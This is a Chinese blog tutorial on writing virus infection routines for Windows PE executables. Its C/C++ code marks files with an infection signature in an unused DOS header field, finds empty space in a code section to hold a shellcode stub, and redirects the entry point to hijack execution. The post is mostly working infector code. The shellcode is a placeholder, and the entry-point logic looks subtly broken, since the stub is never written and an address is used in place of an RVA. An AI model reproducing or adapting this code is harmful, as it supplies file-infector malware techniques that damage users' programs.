• C/C++ 感染标志与空字节感染


    C/C++ 通过搜索PE结构中的空隙部分,对指定文件写入感染标志,作用是,如果程序被感染过则不再继续感染,而搜索空字节,则是要将恶意代码动态的填充到可执行文件中,并劫持执行流,以下代码就是这两种代码的具体实现方式。

    设置文件感染标志: PE文件中有很多字段并没有使用到,我们可以在内部写入参数,实现检查是否被感染.

    #include <stdio.h>
    #include <stddef.h>
    #include <windows.h>
    #define VIRUSFLAGS 0xCCCC
    
    // 向指定文件写入感染标志
    BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
    {
    	DWORD dwNum = 0;
    	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
    	WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
    	return TRUE;
    }
    // 检查文件是否被感染
    BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
    {
    	DWORD dwSigNum = 0;
    	DWORD dwNum = 0;
    	SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
    	ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);
    
    	if (dwSigNum == dwSig)
    		return TRUE;
    	return FALSE;
    }
    
    int main(int argc, char* argv[])
    {
    	HANDLE hFile,hMap = NULL;
    	LPVOID lpBase = NULL;
    
    	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
    	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
    	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);
    
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
    	PIMAGE_NT_HEADERS pNtHeader = NULL;
    	PIMAGE_SECTION_HEADER pSec = NULL;
    	IMAGE_SECTION_HEADER imgSec = { 0 };
    
    	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    	{
    		printf("文件非可执行文件 \n");
    		return -1;
    	}
    	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
    	// 写入感染标志
    	WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);
    
    	system("pause");
    	return 0;
    }
    

    空字节搜索与感染: 找到可执行文件中的空域字节,并进行写入跳转命令,劫持程序流。

    #include <stdio.h>
    #include <stddef.h>
    #include <windows.h>
    
    // \xb8\x90\x90\x90\x90 => mov eax,90909090
    // \xff\xe0\x00 => jmp eax
    char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
    
    // 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
    DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
    {
    	// 跳过可选头长度的数据
    	PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
    		(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
    
    	// 获取到文件末尾的位置
    	DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
    	dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
    
    	LPVOID lp = malloc(sizeof(shellcode));
    	memset(lp, 0, sizeof(shellcode));
    
    	while (dwAddr > pSec->Misc.VirtualSize)
    	{
    		int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    		if (nRet == 0)
    			return dwAddr;
    		dwAddr--;
    	}
    	free(lp);
    	return 0;
    }
    
    int main(int argc, char* argv[])
    {
    	HANDLE hFile,hMap = NULL;
    	LPVOID lpBase = NULL;
    
    	hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
    	hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
    	lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);
    
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
    	PIMAGE_NT_HEADERS pNtHeader = NULL;
    	PIMAGE_SECTION_HEADER pSec = NULL;
    	IMAGE_SECTION_HEADER imgSec = { 0 };
    
    	pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
    	DWORD dwAddr = FindSpace(lpBase, pNtHeader);
    
    	pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
    	UnmapViewOfFile(lpBase);
    	CloseHandle(hMap);
    	CloseHandle(hFile);
    
    	system("pause");
    	return 0;
    }
    
  • 相关阅读:
    mysql版本问题
    敏感词过滤
    身份证校验-----15位,18位后端
    身份证号校验---------前端
    layui时间显示
    第一次入坑docker
    mysql索引解析
    mysql数据库索引调优
    设计模式-代理模式
    c#中abstract与virtua、overridel的用法
  • 原文地址:https://www.cnblogs.com/LyShark/p/13522579.html
Copyright © 2020-2023  润新知